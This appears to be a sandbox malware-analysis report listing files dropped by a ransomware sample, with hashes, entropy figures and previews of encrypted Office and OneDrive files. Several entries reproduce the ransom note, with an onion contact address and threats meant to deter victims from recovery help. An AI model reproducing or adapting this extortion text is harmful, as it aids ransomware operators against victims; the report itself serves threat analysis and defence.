Preview:	p`..,.j..^......m..Z\|n5...:..Y.LTl......r..\|......q..Y.`.V.E....M..=h..J....=..Fo.z.Q.:....CT-...O...lM.=.]..P:EO..}.C.c...L..\h..AC....r.._.E'.S.2..R.K.}..B...t..bY....Y,.C..b.S.j...........]....v..Em.t...$..]...<..B...t..bY....Y,.C..b.S.j...........]....v..Em.t...$..]...<..B...t..bY....Y,.C..b.S.j...........]....v..Em.j.{.j.X...d.._o..9..(Y....\}.~..\|.S.i........l..\.....l..X$.e._.d....FX?..L..tI.wz...._:aJD.)...<......M^9...A..../..).d.7........{...S..jp.p....];KJT.!.D.8......I^o...U..'...6.Y.Q.v..S...y......$..qn....Y&fO....I.~.........`...].....l..W`n5...G....QJ]...H..v}.>Z....Y2M.+.c.R.i....M...a..}.....Q..S'-^.Q.j.Y...d...N...aJ.?\...\|:[M..`.I.b......@?f...>...z..\iE3.^.%....{V-..C@..>x.=\|"...Y8Mj..s.I.x.....@...z..P.....z..SkE0.^.:......[...J..@\..X....W1.#s.0...m..._.:g..V.....m...6A$......j..&...:Y......q."...]-\G.....,....Z...z..3L....z..CkC1.=.$..]..K/..RT...+..G.R...],G[..u........J...\|..P...?...%o.......O...3..M...

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-3102-0000-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3440
Entropy (8bit):	7.8341305639123355
Encrypted:	false
SSDEEP:	96:KId9EPOk0xZRym/GMh+FaJ+EXQyojDs3NS:KId90Ok0xZ3/GMh+FaJ+EAyojIdS
MD5:	B2DD78357216A59026C1749B9084DF47
SHA1:	0577D0E608E64EFE52FB14C7BDE23161D22B5B23
SHA-256:	A81FABA9E095F879B8CA07750874FC46BF51899AC9EF0D1737A9A957EE89FAFF
SHA-512:	89F45971456281EEE59EA69E218385A91263D8F7EB383DF96F64E0065831DF823188EF176528291E3151CE6DA0C863E150ED3A98C378C63906FF7A45A081F87C
Malicious:	false
Preview:	....>...@.I..D.~..;.;av....)..r.X....Y2......mP]...v..X..&w....P.....D.\..F.,..).(.9...<+.}....0...`....4..nE.U..%..A...c....Q.....Q......>..7.8Jd....&t.u.I..a..]6...}..xK.C.?..G...d.............N...)<..7....p{.?...a..]6...}..xK.C.?..G...d.............N...)<..7....p{.?...a..]6...}..xK.C.?..G...d.............N...)<..).....~.!.P..\|..D'....}..kC...#..A...b.........W.H..u.c.&6.c.&...\|".x....o...#....^..vG.U..k....._ .....\._........<..i.n.'....h:.?.O..9..@-....,.%E.S..{.....[s.....^.^......F.r.}{.q......8u..M../..#b...J..mJ.I..;..e..............D......x.?5.'av....j:.o.i..0..A'....~..dh.].....M...t...P.....S.E..O.h..4.`".......,.P..5........x..!.(U..$..\.........R...N.~..F.g.+w..Jp....%$.E...`..Y4...X..~M.W..3.Z...y....].....S.\..L.1.!-.,Js....< .?.o..?..N'....\|..iO.^..\......`....B.8...S.O..W.e.:<.qNg....:L.!.K......O...!..rV.B..3..%..O,....G.....,......C.<6.,Lr....?{.....q...b......2t.C..$..[..e0...W.....R.X......oy.b`D....8i. ...n..f

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.common.16.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	2015220
Entropy (8bit):	5.267724770429373
Encrypted:	false
SSDEEP:	6144:aZvLLQIhUe99OsMdIzc/ytZpza2WdzOR7iYqC+XFMBWKN5yQWwfOhCqePeNQPjsr:ahLbrP2AQnu7XBT6
MD5:	94CB8C18B2E43F817DFB614380F61FC7
SHA1:	0A3C4C7A8C62F1EF83600487B907A13A8517EC7C
SHA-256:	F613983CBE2D1FFEB3A9ABA9A42E1C870391B2D6F03C3F4D8072D3917CC857A3
SHA-512:	D73869124D52DBAC2148EFE4930021CE273FA5B381E1B70416984FDA6F5BC607A9169FFD1AFE1EB04EC207C7A7A3356E26D32AF100B9EF7F0E39E36CFFC5C459
Malicious:	false
Preview:	..c6.4}...@....@..ou.....S+x.......w.M&!...v..q......;.p.f.vp.p.v. .a.p.p.v.1...1. .a.p.p.v.1...2.". .a.p.p.v.:.I.g.n.o.r.a.b.l.e.N.a.m.e.s.p.a.c.e.s.=.".a.p.p.v.1...1. .a.p.p.v.1...2.". ...26.4r........@..;uF..Skx.......w.M4!...v..b......;.p...f.vc.o.m./.a.p.p.x./.2.0.1.0./.m.a.n.i.f.e.s.t.". .x.m.l.n.s.:.a.p.p.v.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m.F.>6.4l........@..u.....S*x.......w.Mg!..v..o.....;.p...f.v..1.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.a.p.p.v./.2.0.1.3./.m.a.n.i.f.e.s.t.". .x.m.l.n.s.:.a.p.p.v.1.G.m6.4>..._....@.`u.....S,x......@w.M.!..v..r......;Dp...f.v/.a.p.p.v./.2.0.1.4./.m.a.n.i.f.e.s.t.".>..... . .<.I.d.e.n.t.i.t.y. .N.a.m.e.=.".R.e.s.e.r.v.e.d.". .P.u.b.l.i.s.h.e.r.=.".C.N.T..6.4o...Y....@..mu.....S6x......Sw.Mv!...v../....;Xp.f.v0.1.3.0.". .a.p.p.v.:.P.a.c.k.a.g.e.I.d.=.".9.A.C.0.8.E.9.9.-.2.3.0.B.-.4.7.e.8.-.9.7.2.1.-.4.5.7.7.B.7.F.1.2.4.E.A.". .a.p.p.v.S..6.4n...B....@..+u...S.x.......-w.M

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifestLoc.16.en-us.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9404
Entropy (8bit):	6.779208590473303
Encrypted:	false
SSDEEP:	192:EbLSTONikXzyaX6eshEhFaxrdZ1YsBxzq75wawZcZXsv4a9xVReryfS:YlLaxrdZ1PpqmzZcyvxxVRW
MD5:	F44A0F88E604EB2A9E26F6C81F3A15DB
SHA1:	8C056D6C5D67E0FC5AF27C97EAF6E1D034109A67
SHA-256:	2620F674DA06446C95B3AE28B146169A065197149D98FAAED2DFF1566176D87F
SHA-512:	D37F5D1CD915011485A1FF73DA9E7A24372A8C6CFF124E2EEA5FC6C4332857123D7C28686BAB683C2716759A7A34664B8E62F0208FA40BEB891EAC13C4A34AF5
Malicious:	false
Preview:	)E.g.Za...;.O..._%T...YJ..%VD..5.....8.........d.F..B.Go...=d\.ath="//appv:ShellCommand//appv:FriendlyName[text()='&Edit']">&Edit</String>.. <String Id="WW_Shell_Verb_New" xpath="//aet.-..e...1.V....f\....c.MM2.U.(.....}(.....+q.d...P.....$.A.</String>.. <String Id="WW_Shell_Verb_Open" xpath="//appv:ShellCommand//appv:FriendlyName[text()='&Open']">&Open</Strinr:...7<...7.\....kj...X@.Hw..K.9....5k...B....d!.Z..O0.....i~w.ellCommand//appv:FriendlyName[text()='Open as Read-Only'] ">Open as Read-Only</String>.. <String Id="WW_Shell_Verb_Print" xpath(&.8.gp...6.W...S$\...D.T^f"K......:y=..R...o<....W6uB..Bd.@&Print</String>.. <String Id="WW_Shell_Verb_PrintTo" xpath="//appv:ShellCommand//appv:FriendlyName[text()='Print &To'] 7:.e.yt..3......I...W....\|Xj......=\|m..q....*m.\|..ERvX...g4E.h="//appv:ShellCommand//appv:FriendlyName[text()='S&how'] ">S&how</String>.. <String Id="WW_Shell_Verb_Design" xpath="/:e.g.-S...2.T...P-....@S.bZ5.W...$...C$.

C:\Program Files (x86)\Microsoft Office\PackageManifests\AuthoredExtensions.16.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	687
Entropy (8bit):	7.1751512624006635
Encrypted:	false
SSDEEP:	12:gHObiy6vm9tF2q+EnztlkDz2KnAK7W6OG5f8LZS:vb6vm97AwJlUnfWTG5f8tS
MD5:	FDE1A203782F2DB3DB19B2C5FAFC9846
SHA1:	57164BE04AB3C30918E6B657676652B02C0D32CA
SHA-256:	0A3BC812A11B25B9E4B87E991B10FEE7FE767ECFAE2EF9BDA66B217492FF1889
SHA-512:	B55334AC3C4D63815965B92D91AF08C8D47950DAC3672C8F7F028EE57C107A4E13856B4710C75C668A2FB6A93ADB4DE764A54AB70B663668BC9F5279C1C14A6A
Malicious:	false
Preview:	.=...t..n...e.......v...?K.y.....2GC..u.......A.2..QY..=..V\.'.Y4..58..e...~...{..d~.{....(+..z...."..e....LvU..w..pK.\|A.h.vh{z ........_...,T.b....a...n.....C.... ..S>s..~..C....H$..tvVLa...%...x....Z.j...H:.h....".....9Utl).q..AO.zO.y..:..n...~...:_..qZ......}..........L.C.{..SmH.....RVariables>.. </appv:Extension>..</appv:Extensions>........c.m.oy)..Mg.+...r..w.."p{.d.w.[..E.0...-..'..r.....M..=....8Y..c....,....A9.....Q[...M.^....2xLb....q#.H]).&........(..w0...`..L...[B...?\|C..M.z/J<.BT...>.A.k.@....+6^.I...V..Fv...."+Z.....O$c....[...................................................................................@.........29yp10v5m8k.

C:\Program Files (x86)\Microsoft Office\PackageManifests\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft Office\ThinAppXManifest.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	SVr3 curses screen image, big-endian
Category:	dropped
Size (bytes):	4925
Entropy (8bit):	7.863738980362622
Encrypted:	false
SSDEEP:	96:nj2KNgYhAAEli1KRazGhTMoDNAG8eJ1XWNhlkQyvGLiQsSXjWYS8KouzAHOiDZsS:yGKAUiVzGVMGNAGHLmhlrCGLiQlsnxAR
MD5:	FE95F9CC8FEB897B0CFAEB79794420A6
SHA1:	FBAE326C5540EF4248F73E3D5D485C5589EE17A3
SHA-256:	40D517D4E9CEC7D3C50AD877A0444447276C1B8669CA70641DCADA3F1A4B3F93
SHA-512:	456721E8672BF627C5497B97636F5B92796D90A576411E033F6A19FC1E533C999EF8BDB05528E4B43B0BD7F8605DFF49F9FD1DDDDC8BF30CF31E7CE60409C044
Malicious:	false
Preview:	..a......\.._...9.......!#....U@9..F.-.."..E,.@..LI.MZ$.3...y.Q)N.....v........J....4w...>]]#V..C3.c.../.....OPC1........R!/...A.%.....:....[...(...nUFr..B.+..<.]9.......OE!....d..\<p..R_.:..^...(.......x'.P./..r..B.+..<.]9.......OE!....d..\<p..R_.:..^...(.......x'.P./..r..B.+..<.]9.......OE!....d..\<p..R_.:..^...(..v.rP.&#.T.j\..Y.S\y..`..C9.S.....TY:....E..X?e...L.C..C....~..U.U].zt.........W.+..C..^=...SKX\|ib.?...9...a4...OW.'...O..k..I.>-.b'.P.$sU=K.Y....1...o.I..CPQy...H...I..xa6...SX.T.u.Z..Q..G....'4.I.m.=E1..%2....{=.......RY=....m.Xl1...&..e..I....b..r.G<. .S.{Wt&K.Z.".~..g9.....].z'.....n.T?p...,..p.:.q..9.......-(.r.m@B9]..N...p.E(....cch4......n.O:e.....).._....V..G....x..P.NDS$Y.S%>.a.A5.....I.XY1.....d..X"t...R.t..F.9..........#.C.wUD&W..lQ../..E*.0.8 .mX=.?.....Xp/...T.e..y.(.?....vf.~i.R.n@B;Q.E_V../.F3.....Wl7#[.(...~.XlL.....p.U.U.~..v.rP..#.O.lFU<..<hg.v.D)....._0 [.F...b.X>s..\X.'...5.........OL.).Qv}.@.S.(.

C:\Program Files (x86)\Microsoft Office\Updates\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft Office\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft Office\root\Office16\PUBWIZ\INVITE11.POC

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	771458
Entropy (8bit):	5.137353259175765
Encrypted:	false
SSDEEP:	6144:Eo5gc/UqVnck0dtNhC19GDwZArC6d4bxxpD3sgSZk6qpTiLxc43O1l2RKAzlDLwN:f5MIeHKPfq2Cfw
MD5:	FFEA3748609629258251DCBD52245F48
SHA1:	799784FB408EEEDCFB360077B13E0D3A6AD9269C
SHA-256:	C44822E0E66CA2BF8A7706B382C031BC8C899AAF789E87C54B524E4C2E4FEDAA
SHA-512:	67A2478601C3C2F1AE796A411287E51B5273FB40F97B61B468C55AA167C5093F17D603F015700ADEE02F903FF21D01B02DABC2EC0A30DA9985DF619557F775AB
Malicious:	false
Preview:	q...[...f..Q?b.1.?......X.S.).S..C.U....~.=...}k.....Mg!..J..\.......N...........F...\...:.......H.......F...\.......,.... ......F...H.......!...&......F...H........'...(......F...H...X.....QWc...q.ACmb.1.... ....X..)....C.U.v..~.=...Ck.e"...K!..J.."-..4....;..`<...,..F..."-..v....<..\|?...,..F..."-......`@..jJ..\|@..F....@.......L...O..\|@..F....@..R...XR...R..\|@..F....@........QW......ACmb.1oK..`....X.A.)..T.C...p..~X?....k.Ar...1!.....$W..t....l.......V...W..$W.......l...n...V...W..$W..L...~o..Tx...o...W...o..P....y..R\|...o...W...o.......}..N~...o...W...o.......QW.T....AC%5.1.d.......X.{#)....C...Dl.~.?....k.......!.........................W........."...........W.........0...@...L....W..x...........x...L....W..x......V...v...L....W..x.......}.QW.q..!jAC%5.1........#X.M.).s..C.U.2A.~.=..8.k.....m.!..J..f..............<...F...f......\......<...F...f...................F...8...................F...8......L...........F...8.......KzQW}...c<ACmb.1...,...SX..O).+..C.U.

C:\Program Files (x86)\Microsoft Office\root\c2rx.sccd

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15621
Entropy (8bit):	7.16577527453565
Encrypted:	false
SSDEEP:	384:q1F8F4mkixgWtqR/RiBP7f/uJMjgUaW+JP9ssM0dUFviyfsojeP:q1F4EiKWt1BP7nu+jgUapJOsJmFviPoy
MD5:	9936F2AF6331F85873918BE59F58404D
SHA1:	4896F60D3EF287955498033379A149D2D9C40CDC
SHA-256:	3C1E42AB1245A016658D178C5AF7BCE33413F394E36E7A2CAA2FA2A4DFE12D13
SHA-512:	4333A0F31667D35742FD7BA9027A16FA13AABEC958CA10A6E49BB459F77D5E1FC9EBF547BA00A4DAB1DB8E10CAED10F7DD468532329C5B68D6506F4A8FA6909F
Malicious:	false
Preview:	$...gv.....A..9.l.6...k4....2.i....1R?..`.J.}1......ed..[d.:.tor xmlns="http://schemas.microsoft.com/appx/2016/sccd" xmlns:s="http://schemas.microsoft.com/appx/2016/sccd">...<CustomCapabilil..5[...D+.\.ce.=.w...m$.....".-....`,ZS.;.R.c.......\|m..w?.6.yb3d8bbwe"/>....<CustomCapability Name="Microsoft.classicAppCompatElevated_8wekyb3d8bbwe"/>...</CustomCapabilities>...<Authorize\|..b"..Fe.&.0I.(.y...a4....>.N....l4TR.S.S.\|.......x~..[h.'.Office.C2RX_8wekyb3d8bbwe" CertificateSignatureHash="279cd652c4e252bfbe5217ac722205d7729ba409148cfa9e6d9e5b1cb94eaff1"/>....<Autp..q3.....V.Mx...u...a.......b...f<GZ.z.J._.......CE.._b.*.3d8bbwe" CertificateSignatureHash="b116c36fa11678efb3bbf1fb1ef99b6b5ca9a85ba290736c6ced9fb0cea2cb01"/>...</AuthorizedEntities>.......7..F%.f.nY...y...r3....(.F....L.YZ.T'{.T.......zz..yJ...EFADCCARAGCSsGAQQBgjcKAaCCAQEwgf4wDAYKKwYBBAGCNwwBAQQQvlDSv13nQkWnWYx6y6RRbBcNMjEwNDE1MDczNDAxWjAOBgorBgEEAYI3DAEDBQAwgbwwgY0EIJR...?g......@._e.%.9..i7.....$.@....$.~

C:\Program Files (x86)\Microsoft Office\root\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft OneDrive\23.038.0219.0001\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-100.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.669067297501721
Encrypted:	false
SSDEEP:	24:SxFU6lsaH0ZZQ4zxLjULjVrR7+6MED7kAL0433st2/NijfWoQxd+ajNARafj6Acj:Sk6ls6WtcvVr8ED7kAL04Hy2VijfWoQQ
MD5:	D1AC7334117B6D5948B29CB0519733F4
SHA1:	7B936C635E3198169AD8243FD67D649E1F32437B
SHA-256:	60AD454608223360F79A08F35FAF6E5E6C85D31E0F08FA8F52460A871893F4DF
SHA-512:	474C45758414B45A88C5F937082F310285132C4E7156B058752B7F9B5BF1723390F728EF08FE8D6537AC49B0DCB1A134354F4CFB2005A0CA28D2F53827E5CAB5
Malicious:	false
Preview:	...n.xe..G...ny.;.)C..... ..$%.4...54Mz.KQBOF1 C..$#VvJ..g.<.hV...N...X^..rE../^.Yy..6..5..t.. ym..Y'.#.1+f..'...^.....).N"1...(..S&!aR..s...A...".-.@...63...g)P..>F.ipDf...C.Sa...<u.....~f..W..~.E.....,9\|..x..X...$.g)".z..~.+:pD....C../.....\........QW.......n+.{).!k...).=...0.2...F.)..I7`.....]...k.L..0..iq)&.....K..@.L...g@...\|.=......A..h...P .8_..e.......@...L....axE.S..e.4]7.....2r'd>..=.&..C+...s.r....~.P..X?.f.!1.K.#.qh.v7.....%..\......X:.12.."......w`....0..".I..`......4..j.1x....r.I....O.~......B...#.]...x.2.k<l..(.;%.Ys.W...s.2z...l..#..zedw7F.E.\..N_.Q..i..Nu?U.H.....$}.....%.j.i....q....D.mP....keA......}.H.s....yu.(9...I...J...U....k..V.. ..!K04..].....................NhB[..Q.........Z.p..:....u...9*.u...x.....A..2.... ..k.........B..0.....EM +6w...bh..(.. ....!....=....8N X.W&.....0..r<k?.v.q~.d...G6....G.....\|..s.>.....d...Tv.......U.x........z..#mU$.a(~..'......Nc..Em.....1}.A...7...V.....s"``B..\...].i.t.XL."...6

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-125.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1857
Entropy (8bit):	7.758804553346595
Encrypted:	false
SSDEEP:	48:Aum0FELGX7Pcu9CE3a/SLpdc7ccxz5ic1S:moPXAGCEJFmzpwc1S
MD5:	1B8E5F2A75D7628AB4C99FB727C4B3DE
SHA1:	14D905B32637ED57ED2DF22C319B12F8C2920277
SHA-256:	E6CD3A5914180512A7D37E4C01CECC70C676235548439D3FCFB9D98EC0D1482D
SHA-512:	136EDF7010C2C7B9CD28A6C8E1C1B65726E6A82D7EE6E9AFD295ADDA03E0ABCA3B3DF0EFD6DA94C6B8D65D563C68B883A3E75215ACE83580CC8A25CD9C762673
Malicious:	false
Preview:	].MM..p..-0...:..q..RN.@]'.=...-....d...'.Rk{..I.O{.........r...z..dy"..}.%d...Jr.7.".........%X^.DGax/.]+y.%.I.c.&.?......d...rc.m..B..g..<....9.G..&...q.X.VrD.p._....^.........[:.W...6...ut....M..$..O.>....}_....)?..b.,.D.E...H=I=.a....#T8.l...?.....c.."...>.k..\|...f%7...."2yQ.m.g..]...1.8.e.+anL...& 2.....[..%.".$..........2.c..1rK.....4.U..b..8.;wNZ..>.B.q..Z?<E,...9......W.~...f.9.P$.....@..Q..6...&#.%....... &.1.@.d.lli~.~...Y...u.4...2. ...[.e....}........cb......h...eC_.r.h><}\|M..r.A".q..[C..s.....A....&.i..Vm.._......7......z.X..#1.?Y5...Y..w..^.tp.f.q?d....!.......c.<..U$m#Cc.YnI.tf.z`.........G.\hg...+Z._. .".-.....4(..bd{@..J.MQ;4...Z...t....<~B. 7.CE..iq..w.?.+..;s?(R....... .t...`...{..........+...e.`.[q......Uj.........h._*...a..".....y.d......<h..D...j...V7..o.......[....$~.cHi..,..c...I$j\`.B.8.2K;k.."...a....f...v.ol?.w....]..s...D\|%...[.Z....i.%...\|W<N......Y..K..:.z.r.oG/.....88?R#/.7;bh.Y..J.n!...'..#a.38.A..@....f.

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-150.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2443
Entropy (8bit):	7.811554435352055
Encrypted:	false
SSDEEP:	48:HxTKseOa2vxXJSL1I89JlTYwRAofL0LuZQb0e5EQTfhfdS:HxR5XJSL1NPlTJOofLsuc0MLRdS
MD5:	BE87F774A2D1402A463AE16DC4342E5F
SHA1:	3AAEBD35C2812922E197602A8243056AFE864103
SHA-256:	FAFF1DF04ABBB2699166845F7C67BEA0817B868F41301FD93378D291CB124E0B
SHA-512:	D1ED52823FBB97BC6BF40ECD0EC02DD16C16EAA1B75EA6072C073D5ECD19CFC65906ECBCD84D7F8E14E2B0E9BB5FD818C33C85B9FFFDC152B95F392278C728FC
Malicious:	false
Preview:	g.>.y&.,...................7^b...i.hV..MnH..(.j....}..3Xz7.......&.........z.E.ak.$):..........:u......w.K.v....u...Mo.w).\z.}.......X.{.Q..w0.K..9........;`iZ7..L./..Z.V...`.J....Q.U(.6...H..Mk.~..3..b..Y.......Q...%i.;.}....j.......F.]F..x.\|-8").B....:.?#...F..R.)..Z...x.%O.xQ/;;[..;.......QR+...G`.6<[f.[..y.A...;(.1....`..z.~K[.."._.aT.D.42B..`......F../.=[m....~....!Z...<.5\|.Z...F....\.....'+...Ew...........,.......[.U.'JS.5.....%....H..Jro.^@...QQ.f-}.?.X..4'S+...$`X...K..Ck._...U.<om.=I.$3..z.}=:t.{.>.^...#..!...N....A..?...dYL.%M.......i.......se..`o\|..&o...s...........B....=Hg.`....i.1-.Q.....A[z....Kw.m..X..<o!Q%.d.MF..-..iK...Ym.3.....$.Q...].._.t.}W.LK..}.....".w.5.cLnl.N...;X.5.[.;...9..l-.QX.Q..4..D\...yV..].T7...<.Lo.i_d.....h..B.6.K..s.G/@.x.4.M._A..AE.._M...-.H.../qqP.6d.l...j.9@.m.....]XOCOmw..L\|.Y}H.+WY.m=].I..E...rJ.wNo.zBg4........l.....?u.6....M.s..[.pf.. +q...z%H.b.:...K..........S...\|..xA..A(.UE...,..

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-200.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
